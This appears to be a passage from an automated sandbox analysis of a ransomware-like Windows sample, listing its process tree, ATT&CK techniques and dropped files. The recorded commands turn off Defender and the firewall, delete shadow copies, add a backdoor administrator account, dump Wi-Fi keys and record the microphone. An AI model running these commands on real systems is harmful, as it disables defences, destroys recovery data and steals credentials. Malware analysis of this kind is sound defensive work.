        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690136494458.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15704
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:16092
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:14532
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:12272
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:1440
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:14300
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:13020
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:2992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7796
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8376
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:8800
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:9188
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:3508
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690009867342.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11488
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13456
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:15116
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:14900
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:15992
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:4324
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:15848
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:16024
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6244
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6712
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7272
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7548
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7936
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8244
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689913529098.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12700
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12932
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:11800
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:13548
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:14244
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:15388
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:3784
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:10392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:5960
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6848
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:7076
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6448
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6384
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:7380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689853613669.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10488
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3180
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11932
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:11404
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:11540
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:14300
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:13168
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:12604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:1752
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    PID:5808
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:4240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6528
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:7288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689839797779.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:11024
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:11236
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:9404
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:11824
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:3708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:14176
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:12564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:16080

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:13240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:14168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 8caef13c784a1de22eebc19aed9a8105fb42fb7d88dc1b1e7820b8c0d31c4938
MD5 ab50734259c2affa3820a2be2f9f2df2
SHA1 c71fabe25570f307186c39ef0fa79f8d9c624631
SHA512 c0266f15c9fd7dacc4e053a074f2dc872482809975a3a49326cfdf78e813085e4554bd6ba113479156cd98e792936f70bfed5753f7c9ef25ee385abbfa4cc147
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 dbd4a2454d32ef8d29aea7ec6bec51639144b5266284f900fc3ee19aad7df6b0
MD5 e5e761b0686816cf57e23a28fa06b3c5
SHA1 d0ac5aed2a5b67bc25919919a30759b4d54dde0c
SHA512 2a2548c1f36fedf36eafa6f1015b8a9408181fdb59c07c2b06334d460d90f11c08665b3d09a249e063304a4d94e2e9c5a5a50822987f9c699a9e49302de65667
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 81a843e6c2e71fdfecd63e2e0f9fcf2fd71e038f5d74332ba064dd178095e738
MD5 d02ec448a196ad7d5a26612efc2308ed
SHA1 441a20e0359c4cd270e1f0ad4575a32dd724ad7d
SHA512 e2f29c5d03be7767ac0b304ed3b0459f542e7004b9dee536e768a9aabc96f7584c23a35891c0152c6f58dc8c51efb06617b1ef83b56fc9078f9d46d58c4527ab
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 47d62888d76a5f95416caef9c411fcd4ace59f61b61dfa0dc2b20cf76e61c041
MD5 1a906469d225e6addb28a5bbfc6b50f3
SHA1 5301a760e961e76364989b022198cd6d54ccc052
SHA512 0da06eb8c3a4912198e904d7a3dd371bfd50e652f18acc6fa1d873f99a632fdd2a9bbd57d02bfb52272c5ad7247af500dd3df502fdf74a0051432e25c629a5d9
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 e326a6a639cb26614e0c8d382eff063473fe74c5c08e8826242f50d5008f89b1
MD5 cbda4a9ee1c50ab190539ceec4bca745
SHA1 8932b66e3b7293771f40bd5b2caa66c2f8efb957
SHA512 56e64e4ffa1ff5868d2133796f485f44576c37eb0478bec94bb2fc12fc47fcef91142cc978372b95492ef9957bbd6fc0ebbba101e78c702360f0f05fef4fa079
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 ac37e7adfcf6cc919d0d687db2686b167bb2c87ae8e0abee4af0747c58192fbd
MD5 618743a2f2923a946369ff95e1a2548d
SHA1 3e73e0413ef1d588d84dae8eab867e73d21eb510
SHA512 d161a4c83f867ee965a07e5e9b4a74cd27126e052b6eabf0f361111680476ee9d97ea2bcc6de67e4dc8e06d38404023e8d7cd8953b8c54f4d6b030ba8d42054a
MD5 SHA1 SHA512

Submit Download

wall.bmp

Path C:\ProgramData\WindowsUpdate\wall.bmp
Size 4KB
SHA256 bfae0295664ce051cb59b4d5c6778bd55fc84e27cf2f68a2ee1c0191cc03903c
MD5 6b2dd92d813df1a29e272071229c77f7
SHA1 e0452bac1d427ffbfd71c613fe8aeb9b1a02c72b
SHA512 e6d29fc5b5c60c9c15834157db2a25fac1c6086d4bed389361126d5e6c82a769eafc026667c4c97e6059e84b348feba84e4a133ea265d4e93b370d094eacb41a
SSDEEP 48:LeXxko9UiJNSNGSn0j+Vx8pckYKgI4QSFc2K8CawnYSzRrh:8jpe0WSpXdX5SdfCawn5
TLSH
T1A6A11266F90ED2B0100B87B09F25152CE9CF0DCDE3A00D544A2A5C589AC2DB5AF79F6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0a2b1bb0-bced-4e0f-be1f-1b4599be3a3f.inf

Path C:\Users\Admin\AppData\Local\Temp\0a2b1bb0-bced-4e0f-be1f-1b4599be3a3f.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

86e09351-3438-4bc7-844d-65e28a852ed1.inf

Path C:\Users\Admin\AppData\Local\Temp\86e09351-3438-4bc7-844d-65e28a852ed1.inf
Size 187B
SHA256 405f522dc97c37bb7221a489bc36ddb51ddbaaf7b53959734744c3d3e76d6ba4
MD5 96d0aee35593ab2df4f7bdd75433030b
SHA1 d56fdb28adadaa216b8d1a425609927f4c5c8eeb
SHA512 b0e2fd31025092ef9ee58656b747015ab865b6d99f6a4199258b3a0ebee74fedefefee7f3e535feb624d194a25e2d7954da2e9415137f8e387dbec69803156d4
TLSH
T120C02280C1F1A63505493933003F46A84EB289013909074824F0D96643588052AC323E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hlg44ffn.zze.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlg44ffn.zze.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 93B
SHA256 601eb2fff68683e615ad655905d1aa1de5a7e0b76aed8293e57f59a4182ce6a7
MD5 301c43e588ccc2b2a81afd58a917b7a4
SHA1 8416211d0008f88c3d031caf57e5bde762fcc32a
SHA512 23affe70e64241d917975940c806337778172faf543848c99253a38f197a99145bb7c2af1f31f49201bb3aca4c7e1cc863c949d79bd175e753ba398569ee1bea
TLSH
T1BDB012028D43963E04481D0204E5A94DB8740C5925052B902900C8290B4648B7DC922E
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 39KB
SHA256 cfb5b324c86e86f83f548f5832076064476a69781b74b6ef56c9543c87886d77
MD5 60b9fbcf2e6962adb2f9cc2bff82c5f6
SHA1 59750f0baee577260ff4107684eaae912775b6d2
SHA512 872f6df0aada5304952f8c062cc1444e9e8b348d27d17bd4a79bb39da7cc2d2557c5e438dae401420fbb881e76b16ce7ac9b3194de5ea6d85c6e554da9ce0ae2
SSDEEP 768:m4NEVONlgIT7IqdPHglF4VNmoIb9SHIdEEusXqKhkayzPj:c0Nl97jYlaNmoIb9Sodf9Xqikr
TLSH
T1C003D74437FD8628E1BF6BBB4D7282008775B49B9D13D70D0ED1849E1A73B448E99BA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\7BA053E1-8D00-4F1C-B92A-D28462CE5BB2\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\7BA053E1-8D00-4F1C-B92A-D28462CE5BB2\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

RANSOM_NOTE.txt

Path C:\Users\Admin\Desktop\RANSOM_NOTE.txt
Size 117B
SHA256 7cf8d385e7141b5bc8c2c48cf20a57c41dfc05d2474ba29c93189a4e193522d8
MD5 6482e81290ba858401e5a31b894cb00b
SHA1 215925ac6e0c8e377e8529dc318fa2416728e1ef
SHA512 fbbb4cddc867bb9a83252c102edfda25212acbe981d97b1b92f8cf00451bdc2fd2ad6b08cce34bebbb44c3195f69e906952a7fa2ec4bca495c9b08edbb210359
TLSH
T147B09B5B7ED8375457C8259215018C21A58DD50CD5454654013788506D655591595873
MD5 SHA1 SHA512 TLSH

Submit Download

invoice_2.pdf

Path C:\Users\Admin\Desktop\invoice_2.pdf
Size 52KB
SHA256 d60db37e00d55d72170335751b50de15dbdf9a813496585cb4fb6ffa03dd4dea
MD5 e176c9fa9c451c933430b9f8e7f02965
SHA1 133871c9cb73a9bc6ea4649b4d70e74f593af83d
SHA512 99856441cd8f07ddbe8875e16ce01dc77cc4b74c1bf331c2e166f62755bc0b65a610c1ec97dbb4a3bb1a0cd6c5e4e854589e93527ac66c5eba322ae71815bc13
SSDEEP 1536:QvxVQneh4YVfYy+M1XZX+3oXQFzpCX/5B0VrvqLaBc:+qeh4AX+3NzcXwqN
TLSH
T15B3319368B13FDC4777F3D94E0142D521C883E6B8776A668FBC00DA629E6540DF1E9A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 5KB
SHA256 2eacd9636f84d6f2980ab6600ca0caccfcc8add5efdb5f8fe5f442a20afedef5
MD5 3099d103fd37e4bf8b75bd50e4d7a8b2
SHA1 4be18b438a553756619c5ea7224275e3b2efb193
SHA512 e5bc55c5b61bb5a4471c56bcd97714373aaeecaad856f8faea58a66a1e73ba4248e002c8f2028a88a215a580e9a79932e2c17d003d9d8d96a6157ad0cc92341b
SSDEEP 96:vDZEurK9DvBfQjEQjLQjEQjEQjLQjZQjLQjLQjZQjLQjmQjDQjLQjmQjK:RrK9zBfCECLCECECLCZCLCLCZCLCmCDC
TLSH
T112B1AC31590DA5EC46F7C1A4007AF17BDA17F1720CDAF8C6A598C5A633F4AAE21E11AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2696-44-0x00000252F77B0000-0x00000252F77D2000-memory.dmp

Download

memory/2696-146-0x00000252F7A80000-0x00000252F7A9E000-memory.dmp

Download

memory/2696-147-0x00000252F7B30000-0x00000252F7BE2000-memory.dmp

Download

memory/2696-257-0x00000252F7AA0000-0x00000252F7AAA000-memory.dmp

Download

memory/6008-0-0x00007FF9A241F000-0x00007FF9A2420000-memory.dmp

Download

memory/6008-32-0x00007FF9A2290000-0x00007FF9A2C34000-memory.dmp

Download

memory/6008-31-0x00007FF9A2290000-0x00007FF9A2C34000-memory.dmp

Download

memory/6008-4-0x00007FF9A2290000-0x00007FF9A2C34000-memory.dmp

Download

memory/6008-383-0x00007FF9A2290000-0x00007FF9A2C34000-memory.dmp

Download

memory/6008-552-0x00007FF9A2290000-0x00007FF9A2C34000-memory.dmp

Download

memory/6008-33-0x00007FF9A2290000-0x00007FF9A2C34000-memory.dmp

Download

memory/6008-1-0x0000000000250000-0x0000000000260000-memory.dmp

Download

memory/6008-261-0x00007FF9A2290000-0x00007FF9A2C34000-memory.dmp

Download

memory/6008-35-0x00007FF9A2290000-0x00007FF9A2C34000-memory.dmp

Download

memory/6600-489-0x0000025837C80000-0x0000025837C81000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads